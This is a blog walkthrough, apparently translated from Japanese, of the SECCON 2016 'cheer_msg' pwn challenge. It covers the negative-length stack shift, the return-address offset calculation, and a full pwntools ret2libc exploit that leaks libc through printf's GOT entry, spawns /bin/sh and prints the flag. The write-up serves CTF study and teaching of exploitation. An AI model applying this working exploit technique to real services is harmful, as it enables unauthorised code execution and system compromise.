When I noticed that I made a big mistake when I tried to divert the problem of bin edition posted the other day to the pwn edition, I was hurt by a certain person. We are recovering with help. I decided to study pwn seriously once in a while without introducing it to the habits of beginners, so I will quote the problem from SECCON's Online qualifying again and think that I should study a little. I will. So this time it's just dripping in my brain when solving the problem.
Host : cheermsg.pwn.seccon.jp
Port : 30527
cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)
(From SECCON 2016 Online Qualifying"cheer_msg")
So, I would like to solve this problem by referring to Questioner's commentary page. Of course, this server isn't running right now, so get the binary in question and the flagged text from SECCON's github and type it into the same directory to get started.
Let's move it for the time being. The environment is Ubuntu 14.04 x86_64.
shir0@shir0:~/src$ ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> 10
Message >> AAAA
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> BBBB
Thank you BBBB!
Message : AAAA
It looks like a program that sends a support message (cheer_msg) to a certain senior. It seems that Format_string attack does not pass because it does not cause strange behavior even if% x is entered in the input field. Shall we go steadily? Disassemble the main function.
shir0@shir0:~/src$ gdb -q cheer_msg
Reading symbols from cheer_msg...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
0x080485ca <+0>: lea ecx,[esp+0x4]
0x080485ce <+4>: and esp,0xfffffff0
0x080485d1 <+7>: push DWORD PTR [ecx-0x4]
0x080485d4 <+10>: push ebp
0x080485d5 <+11>: mov ebp,esp
0x080485d7 <+13>: push ecx
0x080485d8 <+14>: sub esp,0x24
0x080485db <+17>: mov DWORD PTR [esp],0x80487e0
0x080485e2 <+24>: call 0x8048430 <printf@plt>
0x080485e7 <+29>: call 0x804870d <getint>
0x080485ec <+34>: mov DWORD PTR [ebp-0x10],eax
0x080485ef <+37>: mov eax,DWORD PTR [ebp-0x10]
0x080485f2 <+40>: lea edx,[eax+0xf]
0x080485f5 <+43>: mov eax,0x10
0x080485fa <+48>: sub eax,0x1
0x080485fd <+51>: add eax,edx
0x080485ff <+53>: mov ecx,0x10
0x08048604 <+58>: mov edx,0x0
0x08048609 <+63>: div ecx
0x0804860b <+65>: imul eax,eax,0x10
0x0804860e <+68>: sub esp,eax
0x08048610 <+70>: lea eax,[esp+0x8]
0x08048614 <+74>: add eax,0xf
0x08048617 <+77>: shr eax,0x4
0x0804861a <+80>: shl eax,0x4
0x0804861d <+83>: mov DWORD PTR [ebp-0xc],eax
0x08048620 <+86>: mov eax,DWORD PTR [ebp-0x10]
0x08048623 <+89>: mov DWORD PTR [esp+0x4],eax
0x08048627 <+93>: mov eax,DWORD PTR [ebp-0xc]
0x0804862a <+96>: mov DWORD PTR [esp],eax
0x0804862d <+99>: call 0x804863c <message>
0x08048632 <+104>: leave
0x08048633 <+105>: ret
0x08048634 <+106>: nop
0x08048635 <+107>: nop
0x08048636 <+108>: nop
0x08048637 <+109>: nop
0x08048638 <+110>: nop
0x08048639 <+111>: nop
0x0804863a <+112>: nop
0x0804863b <+113>: nop
End of assembler dump.
The only things that catch the eye are the mysterious functions "getint" and "message". Let's disassemble each one.
"getint" function
gdb-peda$ disass getint
Dump of assembler code for function getint:
0x0804870d <+0>: push ebp
0x0804870e <+1>: mov ebp,esp
0x08048710 <+3>: sub esp,0x68
0x08048713 <+6>: mov eax,gs:0x14
0x08048719 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0804871c <+15>: xor eax,eax
0x0804871e <+17>: mov DWORD PTR [esp+0x4],0x40
0x08048726 <+25>: lea eax,[ebp-0x4c]
0x08048729 <+28>: mov DWORD PTR [esp],eax
0x0804872c <+31>: call 0x80486bd <getnline>
0x08048731 <+36>: lea eax,[ebp-0x4c]
0x08048734 <+39>: mov DWORD PTR [esp],eax
0x08048737 <+42>: call 0x80484a0 <atoi@plt>
0x0804873c <+47>: mov edx,DWORD PTR [ebp-0xc]
0x0804873f <+50>: xor edx,DWORD PTR gs:0x14
0x08048746 <+57>: je 0x804874d <getint+64>
0x08048748 <+59>: call 0x8048450 <__stack_chk_fail@plt>
0x0804874d <+64>: leave
0x0804874e <+65>: ret
End of assembler dump.
"message" function
Dump of assembler code for function message:
0x0804863c <+0>: push ebp
0x0804863d <+1>: mov ebp,esp
0x0804863f <+3>: sub esp,0x68
0x08048642 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048645 <+9>: mov DWORD PTR [ebp-0x5c],eax
0x08048648 <+12>: mov eax,gs:0x14
0x0804864e <+18>: mov DWORD PTR [ebp-0xc],eax
0x08048651 <+21>: xor eax,eax
0x08048653 <+23>: mov DWORD PTR [esp],0x8048826
0x0804865a <+30>: call 0x8048430 <printf@plt>
0x0804865f <+35>: mov eax,DWORD PTR [ebp+0xc]
0x08048662 <+38>: mov DWORD PTR [esp+0x4],eax
0x08048666 <+42>: mov eax,DWORD PTR [ebp-0x5c]
0x08048669 <+45>: mov DWORD PTR [esp],eax
0x0804866c <+48>: call 0x80486bd <getnline>
0x08048671 <+53>: mov DWORD PTR [esp],0x8048834
0x08048678 <+60>: call 0x8048430 <printf@plt>
0x0804867d <+65>: mov DWORD PTR [esp+0x4],0x40
0x08048685 <+73>: lea eax,[ebp-0x4c]
0x08048688 <+76>: mov DWORD PTR [esp],eax
0x0804868b <+79>: call 0x80486bd <getnline>
0x08048690 <+84>: mov eax,DWORD PTR [ebp-0x5c]
0x08048693 <+87>: mov DWORD PTR [esp+0x8],eax
0x08048697 <+91>: lea eax,[ebp-0x4c]
0x0804869a <+94>: mov DWORD PTR [esp+0x4],eax
0x0804869e <+98>: mov DWORD PTR [esp],0x804887d
0x080486a5 <+105>: call 0x8048430 <printf@plt>
0x080486aa <+110>: mov eax,DWORD PTR [ebp-0xc]
0x080486ad <+113>: xor eax,DWORD PTR gs:0x14
0x080486b4 <+120>: je 0x80486bb <message+127>
0x080486b6 <+122>: call 0x8048450 <__stack_chk_fail@plt>
0x080486bb <+127>: leave
0x080486bc <+128>: ret
End of assembler dump.
Another function called "getnline" came out, so this is also for the time being
"getnline" function
gdb-peda$ disass getnline
Dump of assembler code for function getnline:
0x080486bd <+0>: push ebp
0x080486be <+1>: mov ebp,esp
0x080486c0 <+3>: sub esp,0x28
0x080486c3 <+6>: mov eax,ds:0x804a040
0x080486c8 <+11>: mov DWORD PTR [esp+0x8],eax
0x080486cc <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080486cf <+18>: mov DWORD PTR [esp+0x4],eax
0x080486d3 <+22>: mov eax,DWORD PTR [ebp+0x8]
0x080486d6 <+25>: mov DWORD PTR [esp],eax
0x080486d9 <+28>: call 0x8048440 <fgets@plt>
0x080486de <+33>: mov DWORD PTR [esp+0x4],0xa
0x080486e6 <+41>: mov eax,DWORD PTR [ebp+0x8]
0x080486e9 <+44>: mov DWORD PTR [esp],eax
0x080486ec <+47>: call 0x8048470 <strchr@plt>
0x080486f1 <+52>: mov DWORD PTR [ebp-0xc],eax
0x080486f4 <+55>: cmp DWORD PTR [ebp-0xc],0x0
0x080486f8 <+59>: je 0x8048700 <getnline+67>
0x080486fa <+61>: mov eax,DWORD PTR [ebp-0xc]
0x080486fd <+64>: mov BYTE PTR [eax],0x0
0x08048700 <+67>: mov eax,DWORD PTR [ebp+0x8]
0x08048703 <+70>: mov DWORD PTR [esp],eax
0x08048706 <+73>: call 0x8048480 <strlen@plt>
0x0804870b <+78>: leave
0x0804870c <+79>: ret
End of assembler dump.
According to the questioner's page mentioned above, the negative number check is not done when receiving the Message Length, so if you look at the disassembled result of each function, you can certainly input until you receive a positive integer. I can't find any loop processing (branch instructions from an assembly point of view) that you can hear back.
I thought for a moment, "But there is a je command near the end of getint and message, but is this different?", But this is SSP (Stack Smashing Protection) from the contents of the call command (__stack_chk_fail @ plt) immediately after that. ) Is probably the cause.
In other words, it is here to determine if the return address has been corrupted. At the same time, it turns out that this time the classic buffer overflow doesn't work. (Although there are some examples of avoiding SSP by reading the value of canary by leaking the contents of memory by overread etc. and bypassing it to the buffer for attack ...)
Also, I don't see any type of processing such as reading a negative value and multiplying that value by -1 to make it a positive integer (though I don't think it's so far). (When I tried it at hand, I found a neg instruction, which is an assembly instruction that performs sign inversion. It's interesting ...)
When I was convinced by the fact that the negative number check was not done, I read the page about pwn's policy, and by doing esp-eax in the main function, I lowered the value of esp to store the contents of the message. It seems that it is moved to. However, by substituting a negative number for eax here, the negative number can be subtracted (= added), that is, the value of esp can be moved to a higher level.
Then move esp to a certain position and adjust so that the value entered in the name input field overwrites the position where the return address of the main function is stored.
As a starting point, let's set the Message Length to -100 and the length of the name pattern to about 100.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -100
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Thank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!
Message : ��
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd08c ("bAA1AAGAAcAA2AA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804862a <main+96>: mov DWORD PTR [esp],eax
0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
=> 0x8048633 <main+105>: ret
0x8048634 <main+106>: nop
0x8048635 <main+107>: nop
0x8048636 <main+108>: nop
0x8048637 <main+109>: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd08c ("bAA1AAGAAcAA2AA")
0004| 0xffffd090 ("AAGAAcAA2AA")
0008| 0xffffd094 ("AcAA2AA")
0012| 0xffffd098 --> 0x414132 ('2AA')
0016| 0xffffd09c --> 0x76647200 ('')
0020| 0xffffd0a0 --> 0x1
0024| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0028| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048633 in main ()
gdb-peda$ patto bAA1AAGAAcAA2AA
bAA1AAGAAcAA2AA found at offset: 48
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x5b ('[')
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414641 ('AFAA')
ESP: 0xffffd090 ("AAGAAcAA2AA")
EIP: 0x31414162 ('bAA1')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31414162
[------------------------------------stack-------------------------------------]
0000| 0xffffd090 ("AAGAAcAA2AA")
0004| 0xffffd094 ("AcAA2AA")
0008| 0xffffd098 --> 0x414132 ('2AA')
0012| 0xffffd09c --> 0x76647200 ('')
0016| 0xffffd0a0 --> 0x1
0020| 0xffffd0a4 --> 0xffffd134 --> 0xffffd302 ("/home/shir0/src/cheer_msg")
0024| 0xffffd0a8 --> 0xffffd088 ("AFAAbAA1AAGAAcAA2AA")
0028| 0xffffd0ac --> 0x8048632 (<main+104>: leave)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31414162 in ?? ()
Since the offset is 48, if you pass -148 to Message Length with-(100 + 48), the content written in the name input field will overwrite the content of the position where the main return address is stored.
By the way, I first read the questioner's page and thought, "Why are you passing -144 to Message Length ... I wonder if it will come out if you look at the assembly steadily ...", and while reading the assembly, various things I calculated it.
0x080485e7 <+29>: call 0x804870d <getint>
0x080485ec <+34>: mov DWORD PTR [ebp-0x10],eax
0x080485ef <+37>: mov eax,DWORD PTR [ebp-0x10]
0x080485f2 <+40>: lea edx,[eax+0xf]
0x080485f5 <+43>: mov eax,0x10
0x080485fa <+48>: sub eax,0x1
0x080485fd <+51>: add eax,edx
0x080485ff <+53>: mov ecx,0x10
0x08048604 <+58>: mov edx,0x0
0x08048609 <+63>: div ecx
0x0804860b <+65>: imul eax,eax,0x10
0x0804860e <+68>: sub esp,eax
Due to a part of the disassembled result of the main function above, the value of eax immediately before performing esp-eax is You can see that [{(value passed to Message Length) + 0x1e} is the quotient when divided by 0x10} * 0x10].
[----------------------------------registers-----------------------------------]
EAX: 0x80
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x10
EDX: 0x2
ESI: 0x0
EDI: 0x0
EBP: 0xffffd118 --> 0x0
ESP: 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
EIP: 0x8048610 (<main+70>: lea eax,[esp+0x8])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048609 <main+63>: div ecx
0x804860b <main+65>: imul eax,eax,0x10
0x804860e <main+68>: sub esp,eax
=> 0x8048610 <main+70>: lea eax,[esp+0x8]
0x8048614 <main+74>: add eax,0xf
0x8048617 <main+77>: shr eax,0x4
0x804861a <main+80>: shl eax,0x4
0x804861d <main+83>: mov DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd070 --> 0xffffd09c --> 0x303031 ('100')
0004| 0xffffd074 --> 0xf7ffd938 --> 0x0
0008| 0xffffd078 --> 0x40 ('@')
0012| 0xffffd07c --> 0x804873c (<getint+47>: mov edx,DWORD PTR [ebp-0xc])
0016| 0xffffd080 --> 0xffffd09c --> 0x303031 ('100')
0020| 0xffffd084 --> 0x40 ('@')
0024| 0xffffd088 --> 0x0
0028| 0xffffd08c --> 0xf7e7c423 (<setbuffer+227>: jmp 0xf7e7c3d3 <setbuffer+147>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048610 in main ()
gdb-peda$ i r
eax 0x80 0x80
ecx 0x10 0x10
edx 0x2 0x2
ebx 0xf7fc0000 0xf7fc0000
esp 0xffffd070 0xffffd070 ///////////////////value of esp//////////////////
ebp 0xffffd118 0xffffd118
esi 0x0 0x0
edi 0x0 0x0
eip 0x8048610 0x8048610 <main+70>
eflags 0x282 [ SF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63
gdb-peda$ c
Continuing.
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> NAME
[----------------------------------registers-----------------------------------]
EAX: 0xffffd01c ("NAME\n")
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0xf7fd9005 --> 0xa4547 ('GE\n')
EDX: 0xf7fc18a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xffffcff8 --> 0xffffd068 --> 0xffffd118 --> 0x0
ESP: 0xffffcfd0 --> 0xffffd01c ("NAME\n")
EIP: 0x80486de (<getnline+33>: mov DWORD PTR [esp+0x4],0xa)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486d3 <getnline+22>: mov eax,DWORD PTR [ebp+0x8]
0x80486d6 <getnline+25>: mov DWORD PTR [esp],eax
0x80486d9 <getnline+28>: call 0x8048440 <fgets@plt>
=> 0x80486de <getnline+33>: mov DWORD PTR [esp+0x4],0xa
0x80486e6 <getnline+41>: mov eax,DWORD PTR [ebp+0x8]
0x80486e9 <getnline+44>: mov DWORD PTR [esp],eax
0x80486ec <getnline+47>: call 0x8048470 <strchr@plt>
0x80486f1 <getnline+52>: mov DWORD PTR [ebp-0xc],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfd0 --> 0xffffd01c ("NAME\n") ///////////////Return address storage location/////////////
0004| 0xffffcfd4 --> 0x40 ('@')
0008| 0xffffcfd8 --> 0xf7fc0c20 --> 0xfbad2288
0012| 0xffffcfdc --> 0xf7e63dff (<printf+47>: add esp,0x18)
0016| 0xffffcfe0 --> 0xf7fc0ac0 --> 0xfbad2887
0020| 0xffffcfe4 --> 0x8048834 ("\nOops! I forgot to ask your name...\nCan you tell me your name?\n\nName >> ")
0024| 0xffffcfe8 --> 0xffffd004 --> 0x40 ('@')
0028| 0xffffcfec --> 0xffffd087 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x080486de in getnline ()
gdb-peda$ p 0xffffd070-0xffffd01c
$1 = 0x54
Also, set a breakpoint on the instruction immediately after this instruction group, check the value of esp with a command such as ir esp, and check the breakpoint immediately after the getf function in the getnline function used to read the name in the message function. To find out the address of the stack that stores the name and make a difference.
Then, you can also see that the difference between the esp after subtracting eax on gdb and the address of the stack where the value entered in the name input field is stored is 0x54 (as far as I tried on gdb at hand). I will.
Also, if you set a breakpoint at the ret instruction near the end of the main function for the storage position of the main return address, the value on the top of the stack at that time should be the return address. Let's check it and ask for it. I remember that the ret instruction actually (maybe not exactly) behaves like pop eip ... (although there may be an easier way).
gdb-peda$ b *0x08048633
Breakpoint 1 at 0x8048633
gdb-peda$ run
Starting program: /home/shir0/src/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> -148
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd11c ("AAAA")
EIP: 0x8048633 (<main+105>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804862a <main+96>: mov DWORD PTR [esp],eax
0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
=> 0x8048633 <main+105>: ret
0x8048634 <main+106>: nop
0x8048635 <main+107>: nop
0x8048636 <main+108>: nop
0x8048637 <main+109>: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffd11c ("AAAA") /////////////////////here!//////////////////////
0004| 0xffffd120 --> 0x8040000
0008| 0xffffd124 --> 0x0
0012| 0xffffd128 --> 0x0
0016| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0020| 0xffffd130 --> 0x1
0024| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0028| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048633 in main ()
Now that we know the storage location of the return address, add 0x54, which is the difference from the previous esp, and get the calculation result of esp-eax.
gdb-peda$ p 0xffffd08c+0x54
$1 = 0xffffd0e0
If you set a breakpoint at the position of sub esp eax to be subtracted (0x0804860e), find the value of esp with i r esp (result: esp => 0xffffd060), and find the value of eax.
gdb-peda$ p 0xffffd060-0xffffd0e0
$2 = 0xffffff80
The rest is eax (immediately before esp-eax) = [{(value passed to Message Length) + 0x1e} divided by 0x10} * 0x10] Because it just calculates backwards
gdb-peda$ p 0xffffff80/0x10
$3 = 0xffffff8
gdb-peda$ p 0xffffff80/0x10
$4 = 0xffffff8
gdb-peda$ p 0xffffff8*0x10
$5 = 0xffffff80
gdb-peda$ p 0x1e- 0xffffff80
$6 = 0x9e
gdb-peda$ p /d 0x9e
$7 = 158
So you can also see that the return address can be rewritten by entering -158. The cause that is slightly different from the value obtained by the tool and the value obtained by the questioner is the instruction div ecx in the main function that produces "the quotient when ... is divided by 0x10} * 0x10" in the above formula. It is located at imul eax eax 0x10 ;. In div ecx, the value of eax is divided by ecx, the quotient is stored in eax, and the remainder is stored in ecx. As you can see from the previous instruction, the value of ecx this time is 0x10, so the value of eax is lowered by one place and the minimum digit is actually truncated. After that, imul eax, eax, 0x10 is the value obtained by multiplying the value of eax by 0x10 (the place goes up by one and the minimum digit is 0).
The point is that the minimum 1 digit of the value (value passed to Message Length) + 0x1e will automatically be 0. In the above example, the? Part of 0xffffff8? Will be set to 0 in the subsequent calculation, so in order to successfully rewrite the return address, the first 7 digits should be "0xffffff8". This is probably one of the reasons why the Message Length used on the questioner's page and the Message Length I requested are different. (Well, most of the causes are probably libc differences)
When actually moving it, in this environment, if the value of Message Length is changed from -143 (=-(158-15)) to -158, the return address will be rewritten successfully, but it is -142 or more or -159 or less. If set to, rewriting to the intended value will fail.
When Message Length> -143 (return address is 0x41414141)
Message Length >> -143
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd120 --> 0x8040000
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
When Message Length> -142 (completed normally)
Message Length >> -142
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
[Inferior 1 (process 2884) exited normally]
Warning: not running or target is remote
When Message Length> -159 (Processing is skipped to a place other than the original, but the value after rewriting is not the intended "AAAA" (0x41414141))
Message Length >> -159
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1d
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xffffd190 --> 0x1
ESP: 0xffffd120 --> 0x8048750 (<__libc_csu_init>: push ebp)
EIP: 0xffffd190 --> 0x1
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffd18a: jecxz 0xffffd183
0xffffd18c: add al,dl
0xffffd18e: push edi
=> 0xffffd190: add DWORD PTR [eax],eax
0xffffd192: add BYTE PTR [eax],al
0xffffd194: mov al,0x84
0xffffd196: add al,0x8
0xffffd198: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8048750 (<__libc_csu_init>: push ebp)
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c ("AAAA")
0016| 0xffffd130 --> 0x0
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd190 in ?? ()
When Message Length> -158 (return address is 0x41414141)
Message Length >> -158
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> AAAA
Thank you AAAA!
Message :
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xf7fc0000 --> 0x1a8da8
ECX: 0x1c
EDX: 0xf7fc1898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd120 --> 0x8040000
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd120 --> 0x8040000
0004| 0xffffd124 --> 0x0
0008| 0xffffd128 --> 0x0
0012| 0xffffd12c --> 0xf7e30ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0016| 0xffffd130 --> 0x1
0020| 0xffffd134 --> 0xffffd1c4 --> 0xffffd384 ("/home/shir0/src/cheer_msg")
0024| 0xffffd138 --> 0xffffd1cc --> 0xffffd39e ("XDG_VTNR=7")
0028| 0xffffd13c --> 0xf7feacca (add ebx,0x12336)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Based on this information, we will build an attack. As a means of stealing the flag, steal the shell to display the contents of flag.txt. As an attack policy, it is considered easy to use ROP to "execute cheer_msg-> leak libc address-> return to main-> start the shell based on the leaked information", so write the code with that policy. .. (Once cheer_msg finishes execution, ASLR rearranges the address and the leaked address becomes meaningless, so execute main twice in one execution.)
Stack after sending code to leak libc address
(Low stack)
PLT address of printf function(The location where the original return address is stored)
address of main function(Return destination after printf execution)
GOT address of printf function(printf arguments)
(Stack high)
Stack after sending code to launch the shell
(Low stack)
address of system function(The location where the original return address is stored)
"AAAA"(Return destination after executing system Basically appropriate and OK)
"/bin/sh"Address where(system argument)
(Stack high)
If you write the attack code to do the above
#!/usr/bin/env python
from pwn import *
context(arch = 'i386', os = 'linux')
libc = ELF("/lib32/libc.so.6")
bin_file = ELF("./cheer_msg")
plt_printf_addr = bin_file.plt['printf']
got_printf_addr = bin_file.got['printf']
func_main_addr = bin_file.functions['main'].address
conn = remote('127.0.0.1', 30527)
conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
memleak = p32(plt_printf_addr)
memleak += p32(func_main_addr)
memleak += p32(got_printf_addr)
conn.recvuntil('Name >> ')
conn.sendline(memleak)
conn.recvuntil('Message : \n')
leaked_string = conn.recvline()
libc_printf_addr = u32(leaked_string[0:4])
print "libc_printf_addr = %s" % hex(libc_printf_addr)
libc_base_addr = libc_printf_addr - libc.symbols['printf']
print "libc_base_addr = %s" % hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc.symbols['system']
libc_shell_addr = libc_base_addr + next(libc.search('/bin/sh\x00'))
conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
getshell = p32(libc_system_addr)
getshell += b'AAAA'
getshell += p32(libc_shell_addr)
conn.recvuntil('Name >> ')
conn.sendline(getshell)
conn.interactive()
conn.close()
Calculate the address (libc_base_addr) where libc is located by subtracting the address in libc of printf from the leaked libc_printf_addr to start the shell, and then add the address in libc of the system function to it. Find the position of the system function (libc_system_addr), and similarly find the position of "/ bin / sh" (libc_shell_addr). Then, the attack has a two-step structure in which it sends a memleak to leak the address, then returns to the main function, and then sends a getshell created based on the leaked information to steal the shell. When I run it
shir0@shir0:~/src$ socat tcp-listen:30527,reuseaddr,fork exec:"./cheer_msg" 2> /dev/null &
[2] 3004
shir0@shir0:~/src$ python exploit.py
[*] '/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/shir0/src/cheer_msg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 30527: Done
libc_printf_addr = 0xf7655dd0
libc_base_addr = 0xf7609000
[*] Switching to interactive mode
Thank you p\x8ed�AAAA��v�!
Message :
$ ls
cheer
cheer_msg
exploit.py
exploit.py~
flag.txt
peda-session-cheer_msg.txt
$ cat flag.txt
SECCON{N40.T_15_ju571c3}
It's a success. The flag is "SECCON {N40.T_15_ju571c3}". It is said that a certain big senior is justice. Yes.
The question is, when checking the storage position of the return address and calculating the input value of the number based on it, the calculated value on gdb where ASLR is basically disabled is basically the value calculated on gdb, even in an environment where ASLR is enabled. You can point out that it plays the intended role ... Also, I'm really worried about the fact that gdb-peda could be used on the server during the tournament where this problem was asked. Without it, I felt it was pretty tough.
Also, according to the questioner's page, this problem was "a simple problem that I did not originally plan to raise", so I am very depressed now because I had a lot of trouble with this. (The cause of my hardship is my own terrible mistake ...)
I would appreciate it if you could point out any mistakes. Excuse me for the long sentence.
・ SECCON 2016 Online Exploit Question 1/2 (cheer_msg, checker, shopping) --ShiftCrops Memorandum